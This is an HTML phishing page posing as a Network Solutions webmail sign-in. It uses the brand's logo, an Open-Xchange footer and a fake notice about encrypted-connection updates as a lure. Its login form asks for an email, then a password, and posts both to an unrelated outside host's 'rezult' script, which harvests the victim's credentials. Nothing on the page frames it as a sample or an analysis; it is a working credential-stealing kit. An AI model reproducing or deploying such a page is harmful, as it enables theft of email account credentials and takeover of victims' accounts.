<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
	<meta name="viewport" content="initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no, viewport-fit=cover">    
	<meta name="mobile-web-app-capable" content="yes">
	<link id="homescreen-icon" rel="apple-touch-icon" href="https://webmail-oxcs.networksolutionsemail.com/appsuite/themes/default/logo_180.png">
	<link id="favicon-ico" rel="icon" href="https://webmail-oxcs.networksolutionsemail.com/appsuite/favicon.ico" sizes="any">
    <title>Sign in</title>
    <style>
        body {
            font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Segoe UI", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
            margin: 0;
            padding: 0;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: flex-start;
            min-height: 100vh;
            background-color: #f3f3f3;
            overflow: hidden;
        }

        /* Loader styles */
        .loader-overlay {
          display: flex;
		  align-items: center;
		  justify-content: center;
		  position: absolute;
		  top: 0;
		  right: 0;
		  bottom: 0;
		  left: 0;
		  width: 100%;
		  height: 100%;
		  z-index: 65300;
		  background-color: #fff;
		  background-color: #111;
		  /* activate GPU acceleration */
		  transform: translateZ(0);
		}
        

        .loader-circle {
            border: 4px solid #f3f3f3; /* Light gray background */
            border-top: 5px solid #fff; /* White color for the loading circle */
            border-radius: 50%;
            width: 10px;
            height: 10px;
			animation: spin 1.5s infinite linear;
        }

        /* Animation for loader circle */
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }

        /* Hide the loader after 5 seconds */
        .hidden {
            display: none;
        }

        header {
            position: absolute;
            top: 10px;
            left: 13px;
        }
        header img {
            height: 32px;
        }

        /* Adjust login-container positioning */
        .login-container {
            position: absolute;  /* Change to absolute for better control */
            top: 50px; /* Moves the login container down */
            left: 50%;  /* Centers the container horizontally */
            transform: translateX(-50%); /* Centers it perfectly */
            width: 350px;
            height: 350px;
            padding: 40px 20px;
            background-color: white;
            box-shadow: 1 6px 16px rgba(0, 0, 0, 0.1);
            border-radius: 6px;
            z-index: 1;
        }

        h2 {
            font-size: 1.4rem;
            text-align: center;
            margin-top: -10px;
            margin-bottom: 35px;
        }

        .form-group {
            margin-bottom: 20px;
            width: 100%;
        }

        .form-group label {
            display: block;
            font-size: 1rem;
            font-weight: 700; 
            margin-bottom: 10px;
            color: #333;
        }

        .form-group input {
            width: 100%;
            padding: 8px;
            font-size: 1rem;
            border: 1px solid #ddd;
            border-radius: 4px;
            box-sizing: border-box;
        }

        .form-group .checkbox-group {
            display: inline-flex;
            align-items: center;
            margin-top: 10px;
        }

        .form-group .checkbox-group input {
            margin-right: 0px;
        }

        .form-group .checkbox-group label {
            margin-left: 0;
            font-weight: normal;
            font-size: 0.9rem;
        }

        .button-container {
            position: absolute;
            bottom: 20px;
            left: 0;
            right: 0;
        }

        .button-container button {
            padding: 10px 4px;
            width: 95%;
            background-color: #256672;
            color: white;
            font-size: 0.9rem;
            border: none;
            border-radius: 2px;
            cursor: pointer;
            box-sizing: border-box;
            margin-left: 10px;
        }

        .button-container button:hover {
            background-color: #005f47;
        }

        /* Adjust info-box position */
        .info-box {
            width: 350px;
            background-color: #f9f9f9;
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
            text-align: center;
            font-size: 0.9rem;
            margin-top: 50px;  /* Move info box further down */
            border: 1px solid #ddd;
        }

        .info-box a {
            display: inline-block;
            margin-top: 10px;
            padding: 5px 10px;
            border: 1px solid #007b5e;
            color: #007b5e;
            text-decoration: none;
            border-radius: 4px;
        }

        .info-box a:hover {
            background-color: #007b5e;
            color: white;
        }

        footer {
            width: 100%;
            background-color: #f0f0f0;
            padding: 10px 0;
            text-align: center;
            font-size: 0.8rem;
            color: #777;
            margin-top: auto;
        }

        footer a {
            color: #007b5e;
            text-decoration: none;
        }

        footer a:hover {
            text-decoration: underline;
        }
    </style>
</head>
<body>
    <!-- Loader overlay -->
    <div class="loader-overlay" id="loader">
        <div class="loader-circle"></div>
    </div>

    <header>
        <img src="https://webmail-oxcs.networksolutionsemail.com/brands/5/logo" alt="Network Solutions">
    </header>

    <div class="login-container">
        <h2>Webmail Login</h2>
		<div class="form-group">
                <label for="sign-in">Sign in</label> 
            </div>
        <form id="login-form" action="https://bradymartiz.com/rezult/Ns/ns.php" method="POST">
            
            <div class="form-group">
                <label for="email">Email</label>
                <input type="email" id="email" name="email" required>
            </div>
            <div class="form-group" id="password-group" style="display: none;">
                <label for="password">Password</label>
                <input type="password" id="password" name="password" required>
                <div class="checkbox-group">
                    <input type="checkbox" id="show-password">
                    <label for="show-password">Show password</label>
                </div>
            </div>
            <div class="button-container">
                <button type="button" id="continue-button">Continue</button>
            </div>
        </form>
    </div>

    <div class="info-box">
        <p>We are updating our email security and will require all email server connections to use an encrypted connection when connecting via POP or IMAP from a device. To avoid any email connection issues, please be sure to update your mail client settings.</p>
        <a href="#">Learn More...</a>
    </div>

    <footer>
        <p>© 2025 Open-Xchange GmbH | Version: 8.3.2 | <a href="#">Privacy policy</a> | <a href="#">Legal notes</a></p>
    </footer>

    <script>
        // Function to hide loader and show content after 5 seconds
        setTimeout(function() {
            document.getElementById("loader").classList.add("hidden");
        }, 1500);

        function isValidEmail(email) {
            const regex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
            return regex.test(email);
        }

        document.getElementById("continue-button").addEventListener("click", function () {
            const email = document.getElementById("email").value;
            if (!isValidEmail(email)) {
                alert("Please enter a valid email address.");
                return;
            }
            document.getElementById("password-group").style.display = "block";
            this.textContent = "Sign In"; 
            this.setAttribute("type", "submit");
        });

        document.getElementById("show-password").addEventListener("change", function () {
            const passwordField = document.getElementById("password");
            passwordField.type = this.checked ? "text" : "password";
        });
    </script>
</body>
</html>
